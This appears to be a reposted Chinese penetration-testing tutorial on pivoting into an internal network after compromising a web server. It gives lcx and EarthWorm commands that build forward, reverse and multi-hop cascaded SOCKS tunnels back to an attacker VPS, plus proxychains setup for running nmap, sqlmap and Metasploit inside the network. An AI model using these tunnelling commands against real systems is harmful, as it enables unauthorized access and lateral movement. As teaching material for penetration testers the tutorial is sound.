内网漫游之SOCKS代理大结局
0×01 引言
在實(shí)際滲透過程中,我們成功入侵了目標(biāo)服務(wù)器。接著我們想在本機(jī)上通過瀏覽器或者其他客戶端軟件訪問目標(biāo)機(jī)器內(nèi)部網(wǎng)絡(luò)中所開放的端口,比如內(nèi)網(wǎng)的3389端口、內(nèi)網(wǎng)網(wǎng)站8080端口等等。傳統(tǒng)的方法是利用nc、lcx等工具,進(jìn)行端口轉(zhuǎn)發(fā)。
適用端口轉(zhuǎn)發(fā)的網(wǎng)絡(luò)環(huán)境有以下幾種:
1. 服務(wù)器處于內(nèi)網(wǎng),可以訪問外部網(wǎng)絡(luò)。
2. 服務(wù)器處于外網(wǎng),可以訪問外部網(wǎng)絡(luò),但是服務(wù)器安裝了防火墻來拒絕敏感端口的連接。
3. 服務(wù)器處于內(nèi)網(wǎng),對外只開放了80端口,并且服務(wù)器不能訪問外網(wǎng)網(wǎng)絡(luò)。
對于以上三種情況,lcx可以突破1和2二種,但是第3種就沒有辦法了,因?yàn)閘cx在使用中需要訪問外部網(wǎng)絡(luò)。
這里的第3種就可以用到我們今天重點(diǎn)要講的SOCKS代理。Socks是一種代理服務(wù),可以簡單地將一端的系統(tǒng)連接到另外一端。支持多種協(xié)議,包括http、ftp請求及其它類型的請求。它分socks 4 和socks 5兩種類型,socks 4只支持TCP協(xié)議而socks 5支持TCP/UDP協(xié)議,還支持各種身份驗(yàn)證機(jī)制等協(xié)議。其標(biāo)準(zhǔn)端口為1080。
Socks在滲透測試中使用特別廣泛,能夠很方便讓我們與目標(biāo)內(nèi)網(wǎng)計(jì)算機(jī)之間通信,避免了一次又一次使用端口轉(zhuǎn)發(fā)的麻煩。比較常見的Socks5工具有htran,reGeorg等,socks4的有metasploit。
在實(shí)際滲透測試過程中,當(dāng)我們成功的拿下第一臺(tái)堡壘機(jī)后,此時(shí)我們又想對目標(biāo)內(nèi)網(wǎng)進(jìn)一步滲透測試時(shí),socks能夠幫助我們更加快速的,方便的訪問目標(biāo)內(nèi)網(wǎng)的各種資源,比傳統(tǒng)的端口轉(zhuǎn)發(fā)更加實(shí)用。
0×02 滲透環(huán)境
此次滲透的環(huán)境:左側(cè)是我的個(gè)人電腦(內(nèi)網(wǎng))和一臺(tái)有公網(wǎng)IP的VPS,右側(cè)是一個(gè)小型內(nèi)網(wǎng)。假設(shè)我們現(xiàn)在已經(jīng)滲透了一臺(tái)WEB服務(wù)器,該服務(wù)器內(nèi)網(wǎng)IP為10.48.128.25。經(jīng)過掃描,右側(cè)小型內(nèi)網(wǎng)網(wǎng)絡(luò)結(jié)構(gòu)如圖所示。其中我們控制的WEB服務(wù)器是連接外網(wǎng)和內(nèi)網(wǎng)的關(guān)鍵節(jié)點(diǎn),內(nèi)網(wǎng)其他服務(wù)器均不能直接連接。圖是我老婆用CAD畫的,還不錯(cuò)吧!: )
0×03 socket端口轉(zhuǎn)發(fā)
首先我們介紹下最為經(jīng)典也是使用最為頻繁的端口轉(zhuǎn)發(fā)工具lcx,lcx.exe 是一個(gè)基于 socket 套接字實(shí)現(xiàn)的端口轉(zhuǎn)發(fā)工具,它是從 linux 下的htran 工具移植到windows平臺(tái)的。一條正常的socket隧道必具備兩端,一側(cè)為服務(wù)端,它會(huì)監(jiān)聽一個(gè)端口等待客戶端連接;另一側(cè)為客戶端,通過傳入服務(wù)端的ip和端口,才能主動(dòng)連接到服務(wù)器。
比如要轉(zhuǎn)發(fā)上圖中目標(biāo)機(jī)器10.48.128.25的3389端口:
1、在目標(biāo)機(jī)器10.48.128.25上執(zhí)行
lcx.exe?–slave?139.XXX.XX.113?9000?10.48.128.25?3389此段命令意思是將目標(biāo)機(jī)器3389端口的所有數(shù)據(jù)都轉(zhuǎn)發(fā)到公網(wǎng)VPS的9000端口上。
2、在VPS上執(zhí)行
lcx.exe?–listen?9000?5555此段命令意思是將本機(jī)9000端口上監(jiān)聽到的所有數(shù)據(jù)轉(zhuǎn)發(fā)到本機(jī)的5555端口上。
3、在左側(cè)的My PC機(jī)上用mstsc登陸139.XXX.XX.113:5555或者在VPS上用mstsc登陸127.0.0.1:5555。即可訪問右側(cè)內(nèi)部網(wǎng)絡(luò)中10.48.128.25服務(wù)器的3389端口。
Lcx工具實(shí)現(xiàn)的是一對一的端口轉(zhuǎn)發(fā),如果想訪問右側(cè)網(wǎng)絡(luò)中列出的所有端口,就必須一次次的重復(fù)lcx的轉(zhuǎn)發(fā)過程,效率相當(dāng)?shù)拖隆6曳?wù)器都是有裝有殺毒軟件的,即使有做免殺也不能保證繞過所有的殺毒。
像這種情況就可以用到socks代理,在10.48.128.25這臺(tái)既能連接互聯(lián)網(wǎng)又能連接內(nèi)網(wǎng)的WEB服務(wù)器上架設(shè)代理。
0×04 SOCKS代理工具
socks代理其實(shí)也可理解為一個(gè)增強(qiáng)版的 lcx,它在服務(wù)端監(jiān)聽一個(gè)服務(wù)端口,當(dāng)有新的連接請求時(shí)會(huì)從socks協(xié)議中解析出訪問目標(biāo)的URL的目標(biāo)端口,再開始執(zhí)行l(wèi)cx的具體功能。網(wǎng)絡(luò)上Socks代理工具有很多,選用的時(shí)候盡可能使用無GUI界面的工具,還有盡可能不需要安裝其他依賴軟件,能夠支持多平臺(tái)操作系統(tǒng)的更佳。
1. Earthworm?? ? 工具網(wǎng)址:http://rootkiter.com/EarthWorm?
EW 是一套便攜式的網(wǎng)絡(luò)穿透工具,具有 SOCKS v5服務(wù)架設(shè)和端口轉(zhuǎn)發(fā)兩大核心功能,可在復(fù)雜網(wǎng)絡(luò)環(huán)境下完成網(wǎng)絡(luò)穿透。該工具能夠以“正向”、“反向”、“多級級聯(lián)”等方式打通一條網(wǎng)絡(luò)隧道,直達(dá)網(wǎng)絡(luò)深處,用蚯蚓獨(dú)有的手段突破網(wǎng)絡(luò)限制,給防火墻松土。工具包中提供了多種可執(zhí)行文件,以適用不同的操作系統(tǒng),Linux、Windows、MacOS、Arm-Linux 均被包括其內(nèi),強(qiáng)烈推薦使用。
目前已經(jīng)有了最新版Termite,工具網(wǎng)址:http://rootkiter.com/Termite/?
2.reGeorg?? ? ? ? 工具網(wǎng)址:https://github.com/NoneNotNull/reGeorg?
reGeorg是reDuh的升級版,主要是把內(nèi)網(wǎng)服務(wù)器的端口通過http/https隧道轉(zhuǎn)發(fā)到本機(jī),形成一個(gè)回路。用于目標(biāo)服務(wù)器在內(nèi)網(wǎng)或做了端口策略的情況下連接目標(biāo)服務(wù)器內(nèi)部開放端口。它利用webshell建立一個(gè)socks代理進(jìn)行內(nèi)網(wǎng)穿透,服務(wù)器必須支持aspx、php或jsp這些web程序中的一種。
3.sSocks?? ? ? ? ?工具網(wǎng)址:http://sourceforge.net/projects/ssocks/?
sSocks是一個(gè)socks代理工具套裝,可用來開啟socks代理服務(wù),支持socks5驗(yàn)證,支持IPV6和UDP,并提供反向socks代理服務(wù),即將遠(yuǎn)程計(jì)算機(jī)作為socks代理服務(wù)端,反彈回本地,極大方便內(nèi)網(wǎng)的滲透測試,其最新版為0.0.13。
4.SocksCap64?? ? 工具網(wǎng)址:http://www.sockscap64.com?(需翻墻)
SocksCap64是一款在windows下相當(dāng)好使的全局代理軟件。SocksCap64可以使Windows應(yīng)用程序通過SOCKS代理服務(wù)器來訪問網(wǎng)絡(luò)而不需要對這些應(yīng)用程序做任何修改, 即使某些本身不支持SOCKS代理的應(yīng)用程序通過SocksCap64之后都可以完美的實(shí)現(xiàn)代理訪問。
5.proxychains?? ? 工具網(wǎng)址:http://proxychains.sourceforge.net/?
Proxychains是一款在LINUX下可以實(shí)現(xiàn)全局代理的軟件,性能相當(dāng)穩(wěn)定可靠。在使任何程序通過代理上網(wǎng),允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服務(wù)器,支持proxy chain,即可配置多個(gè)代理,同一個(gè)proxy chain可使用不同類型的代理服務(wù)器。
0×05 架設(shè)代理服務(wù)端
在實(shí)際滲透測試中,我經(jīng)常使用的socks工具是EW,該程序體積很小,LINUX的只有30KB左右,Windows下面的也只有56KB,而且不需要再做其他設(shè)置,真的是居家旅行之必備之物。
下載打開EW軟件文件夾,可以看到有針對各種系統(tǒng)用的程序,如下圖:
根據(jù)你實(shí)際的操作系統(tǒng)選用就可以了,因?yàn)槲覀兇舜螡B透是WINDOWS的所以就用ew_for_win.exe這個(gè)程序了。EW的使用也非常簡單,該工具共有 6 種命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
首先介紹用于普通網(wǎng)絡(luò)環(huán)境的正向連接ssocksd命令和反彈連接rcsocks命令、rssocks命令,再介紹用于復(fù)雜網(wǎng)絡(luò)環(huán)境的多級級聯(lián)。
# 簡單解釋下正向代理和反向代理的區(qū)別,正向代理就是我們主動(dòng)通過proxy來訪問目標(biāo)機(jī)器,反向代理就是目標(biāo)機(jī)器通過proxy主動(dòng)來連接我們。
1. 正向socks v5服務(wù)器?? ? ? ? ? ?適用于目標(biāo)機(jī)器擁有一個(gè)外網(wǎng)IP
ew?–s?ssocksd?–l?888上述命令架設(shè)了一個(gè)端口為888,SOCKS的代理。然后使用sockscap64添加這個(gè)IP的代理就可以使用了。比較簡單就不演示了。
2. 反彈socks v5服務(wù)器?? ? ? ? ? 適用于目標(biāo)機(jī)器沒有公網(wǎng)IP,但可訪問內(nèi)網(wǎng)資源
A. 先上傳ew 到左側(cè)ip地址為139.XXX.XX.113公網(wǎng)VPS的C盤上,運(yùn)行下列命令:
ew?-s?rcsocks?-l?1008?-e?888該命令的意思是在我們公網(wǎng)VPS上添加一個(gè)轉(zhuǎn)接隧道,把1080端口收到的代理請求轉(zhuǎn)交給888端口
B. 上傳EW到右側(cè)IP地址為10.48.128.25的WEB服務(wù)器C盤上,運(yùn)行下列命令:
ew?-s?rssocks?-d?139.XXX.XX.113?-e?888該命令的意思是在10.48.128.25上啟動(dòng)SOCKS V5服務(wù),并反彈到IP地址為139.XXX.XX.113左側(cè)公網(wǎng)VPS的888端口上。
C. 返回我們公網(wǎng)VPS的CMD界面下,可以看到已經(jīng)反彈成功了。現(xiàn)在就可以通過訪問139.XXX.XX.113:1008端口使用在右側(cè)10.48.128.25架設(shè)的SOCKS5代理服務(wù)了。
3.二級網(wǎng)絡(luò)環(huán)境(一)
假設(shè)我們獲得了右側(cè)A主機(jī)和B主機(jī)的控制權(quán)限,A主機(jī)配有2塊網(wǎng)卡,一塊連通外網(wǎng),一塊10.48.128.25只能連接內(nèi)網(wǎng)B主機(jī),無法訪問內(nèi)網(wǎng)其它資源。B主機(jī)可以訪問內(nèi)網(wǎng)資源,但無法訪問外網(wǎng)。
A.先上傳ew到B主機(jī),利用ssocksd方式啟動(dòng)888端口的SOCKS代理,命令如下:
ew?-s?ssocksd?-l?888B.上傳ew到右側(cè)A主機(jī),運(yùn)行下列命令:
ew?-s?lcx_tran?-l?1080?-f?10.48.128.49?-g?888該命令意思是將1080端口收到的代理請求轉(zhuǎn)交給B主機(jī)(10.48.128.49)的888端口。
C.可以通過訪問A主機(jī)外網(wǎng)139.XXX.XX.113:1080來使用在B主機(jī)架設(shè)的socks5代理。
4.二級網(wǎng)絡(luò)環(huán)境(二)
假設(shè)我們獲得了右側(cè)A主機(jī)和B主機(jī)的控制權(quán)限,A主機(jī)沒有公網(wǎng)IP,也無法訪問內(nèi)網(wǎng)資源。B主機(jī)可以訪問內(nèi)網(wǎng)資源,但無法訪問外網(wǎng)。
這個(gè)操作分為4步,用到lcx_listen和lcx_slave命令:
A. 先上傳ew 到左側(cè)公網(wǎng)VPS上,運(yùn)行下列命令:
ew?–s?lcx_listen?–l?10800?–e?888該命令意思是在公網(wǎng)VPS添加轉(zhuǎn)接隧道,將10800端口收到的代理請求轉(zhuǎn)交給888端口。
B.上傳ew到右側(cè)B主機(jī),并利用ssocksd方式啟動(dòng)999端口的socks代理,命令如下:
ew?-s?ssocksd?-l?999C.上傳ew 到右側(cè)A主機(jī),運(yùn)行下列命令:
ew?-s?lcx_slave?-d?139.XXX.XX.113?-e?888?-f?10.48.128.49?-g?999該命令意思是在A主機(jī)上利用lcx_slave方式,將公網(wǎng)VPS的888端口和B主機(jī)的999端口連接起來。
D. 返回我們公網(wǎng)VPS的CMD界面下,可以看到已經(jīng)連接成功了。
現(xiàn)在就可以通過訪問公網(wǎng)VPS地址 139.XXX.XX.113:10800來使用在B主機(jī)架設(shè)的socks5代理。
5.三級網(wǎng)絡(luò)環(huán)境
三級網(wǎng)絡(luò)環(huán)境在實(shí)際滲透中用的比較少,也比較復(fù)雜,現(xiàn)在我們來一個(gè)個(gè)的講解下三級級聯(lián)的用法。
假設(shè)滲透場景:右側(cè)內(nèi)網(wǎng)A主機(jī)沒有公網(wǎng)IP但可以訪問外網(wǎng),B主機(jī)不能訪問外網(wǎng)但可以被A主機(jī)訪問、C主機(jī)可被B主機(jī)訪問而且能夠訪問核心區(qū)域。
A.在左側(cè)公網(wǎng)VPS上運(yùn)行命令,將1080端口收到的代理請求轉(zhuǎn)交給888端口:
ew?-s?rcsocks?-l?1080?-e?888B.在A主機(jī)上運(yùn)行命令,將公網(wǎng)VPS的888端口和B主機(jī)的999端口連接起來:
ew?-s?lcx_slave?-d?139.XXX.XX.113?-e?888?-f?10.48.128.12?-g?999C.在B主機(jī)上運(yùn)行命令,將999端口收到的代理請求轉(zhuǎn)交給777端口:
ew?-s?lcx_listen?-l?999?-e?777D.在C主機(jī)上啟動(dòng)SOCKS V5服務(wù),并反彈到B主機(jī)的777端口上,命令如下。
ew?-s?rssocks?-d?10.48.128.12?-e?777E.在MY PC上可以通過訪問公網(wǎng)VPS 139.XXX.XX.113:1080來使用在C主機(jī)架設(shè)的socks5代理。
整個(gè)數(shù)據(jù)流向是:SOCKS V5 → 1080 → 888 →999 →777 → rssocks
0×06 內(nèi)網(wǎng)漫游
1.Windows下使用sockscap64
首先下載安裝好SocksCap64后,以管理員權(quán)限打開。默認(rèn)瀏覽器已經(jīng)添加。
使用比較簡單,點(diǎn)擊代理,點(diǎn)擊添加一個(gè)代理,然后設(shè)置下代理服務(wù)器IP和端口就可以使用了。設(shè)置好后可以點(diǎn)擊軟件右邊有個(gè)閃電的小圓點(diǎn),測試下當(dāng)前代理服務(wù)器是否可以連接,如下圖,連接是正常的。
這個(gè)時(shí)候就可以選擇瀏覽器,右擊在代理隧道中運(yùn)行選中的程序,然后我們就可以自由訪問我們想訪問的內(nèi)網(wǎng)資源了,比如我們可以訪問10.48.128.22路由的80端口,如下圖:
可以看到我們已經(jīng)成功的通過socks代理漫游內(nèi)部網(wǎng)絡(luò)WEB資源,我們接著看看還有哪些程序能夠利用SOCKSCAP的程序通過代理訪問內(nèi)網(wǎng)中的哪些端口了?
嘗試登陸10.48.128.20的3389端口,可以看到成功登陸。
我們可以在我們的公網(wǎng)VPS的命令行下可以看到,不停的有數(shù)據(jù)的交換。再嘗試PUTTY訪問10.48.128.49的22端口,成功登陸。
再試試VNC端口,因?yàn)?0.48.128.25開了5900端口,OK,成功訪問。大家可以看到這種利用SOCKS代理實(shí)現(xiàn)一對多端口映射的優(yōu)勢立刻就體現(xiàn)了出來,效率倍增。
但是將掃描工具進(jìn)行SOCKSCAP代理,然后對內(nèi)網(wǎng)網(wǎng)段進(jìn)行掃描,我沒有嘗試成功,大家可以多多的嘗試各種工具!我在代理下用掃描工具一般都是用proxychains,大家接著往下看!
2.LINUX下使用proxychains
KALI系統(tǒng)已經(jīng)預(yù)裝好了這個(gè)工具,我們稍作配置就可以使用,打開終端,輸入命令:
vi?/etc/proxychains.conf #?順便補(bǔ)充下LINUX下Vim編輯器簡單使用方法使用上面命令進(jìn)入文本后,摁“i”鍵就進(jìn)入了編輯模式,可以對文本進(jìn)行修改,修改完后摁esc 然后摁住shift+; 左下角會(huì)出現(xiàn)一個(gè)冒號,如下圖。
這個(gè)時(shí)候輸入wq,摁回車保存并退出。
第一步先刪掉dynamic_chain前面的注釋符(也就是#符號),如下圖
然后拉到最下面,把默認(rèn)是socks4 127.0.0.1 9050 的地方改成我們架設(shè)的代理服務(wù)139.XXX.XX.113 1008
這樣就設(shè)置完成了,我們接著測試下代理服務(wù)是否正常,在終端輸入
proxyresolv?www.baidu.com此時(shí)如上圖所示會(huì)顯示未找到命令,不要擔(dān)心,繼續(xù)在終端輸入下列命令
cp?/usr/lib/proxychains3/proxyresolv?/usr/bin/然后再次測試下代理服務(wù)器是否正常,如下圖,顯示OK就表示配置正確了。
現(xiàn)在我們就可以愉快的暢游內(nèi)網(wǎng)了,照例先訪問內(nèi)網(wǎng)網(wǎng)站試試看,我們先在終端輸入proxychains firefox啟動(dòng)火狐瀏覽器。
等個(gè)幾秒鐘,火狐就打開了,我們還是訪問10.48.128.22路由的80端口看看。
順利打開,可以看到kali里面的數(shù)據(jù)不停的交換,我們再打開10.48.128.48看看,也是可以訪問的,一個(gè)Zend服務(wù)器測試頁。
接著就到了我們的重頭戲了,我們找?guī)讉€(gè)具有代表性的工具試試,先看看NMAP和SQLMAP好使不!
如上圖所示,均表示相當(dāng)好使,我們最后再試試大殺器-Metasploit可不可以用。
我們隨便找個(gè)IP掃掃看端口,如下圖所示,已經(jīng)開始掃描了。
其他工具就不再一一介紹了。
The End.
最后感謝rootkiter寫出了如此優(yōu)秀的軟件。
總結(jié)
以上是生活随笔為你收集整理的内网漫游之SOCKS代理大结局的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SAP 采购订单行项目屏幕增强(BADI
- 下一篇: 面试别人的套路